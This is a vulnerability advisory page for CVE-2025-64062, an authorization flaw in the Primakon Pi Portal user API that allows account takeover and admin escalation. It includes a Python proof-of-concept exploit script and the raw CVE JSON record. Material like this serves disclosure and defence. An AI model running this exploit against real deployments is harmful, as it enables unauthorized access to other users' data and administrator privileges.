Security Vulnerability Report
中文
CVE-2025-64062 CVSS 8.8 HIGH

CVE-2025-64062

Published: 2025-11-25 18:15:54
Last Modified: 2025-12-01 13:25:20

Description

The Primakon Pi Portal 1.0.18 /api/V2/pp_users?email endpoint is used for user data filtering but lacks proper server-side validation against the authenticated session. By manipulating the email parameter to an arbitrary value (e.g., [email protected]), an attacker can assume the session and gain full access to the target user's data and privileges. Also, if the email parameter is left blank, the application defaults to the first user in the list, who is typically the application administrator, resulting in an immediate Privilege Escalation to the highest level.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:primakon:project_contract_management:1.0.18:*:*:*:*:*:*:* - VULNERABLE
Primakon Pi Portal 1.0.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-64062 PoC - Primakon Pi Portal Session Hijacking # Target: Primakon Pi Portal 1.0.18 # Endpoint: /api/V2/pp_users?email= TARGET_URL = "http://target-server/api/V2/pp_users" def exploit_session_hijacking(target_url): # Step 1: Normal user login to obtain valid session login_data = { "username": "[email protected]", "password": "attacker_password" } session = requests.Session() login_response = session.post(f"{target_url.replace('/pp_users', '/login')}", json=login_data) if login_response.status_code != 200: print("[-] Login failed") return None print("[+] Login successful with low-privilege account") # Step 2: Exploit - Hijack admin session by manipulating email parameter # Method 1: Target specific user target_email = "[email protected]" params = {"email": target_email} hijack_response = session.get(TARGET_URL, params=params) if hijack_response.status_code == 200: user_data = hijack_response.json() print(f"[+] Successfully hijacked session for: {target_email}") print(f"[+] Retrieved user data: {json.dumps(user_data, indent=2)}") # Step 3: Exploit - Privilege Escalation via empty email parameter # This defaults to first user (typically admin) empty_params = {"email": ""} escalation_response = session.get(TARGET_URL, params=empty_params) if escalation_response.status_code == 200: admin_data = escalation_response.json() print("[+] Successfully escalated to admin privileges") print(f"[+] Admin data: {json.dumps(admin_data, indent=2)}") return session if __name__ == "__main__": exploit_session_hijacking(TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64062", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:53.720", "lastModified": "2025-12-01T13:25:19.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Primakon Pi Portal 1.0.18 /api/V2/pp_users?email endpoint is used for user data filtering but lacks proper server-side validation against the authenticated session. By manipulating the email parameter to an arbitrary value (e.g., [email protected]), an attacker can assume the session and gain full access to the target user's data and privileges. Also, if the email parameter is left blank, the application defaults to the first user in the list, who is typically the application administrator, resulting in an immediate Privilege Escalation to the highest level."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:primakon:project_contract_management:1.0.18:*:*:*:*:*:*:*", "matchCriteriaId": "48EDD273-2C46-43C9-9473-27D2C14040CB"}]}]}], "references": [{"url": "https://github.com/n3k7ar91/Vulnerabilites/blob/main/Primakon/CVE-2025-64062.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.primakon.com/rjesenja/primakon-pcm/", "source": "[email protected]", "tags": ["Product"]}]}}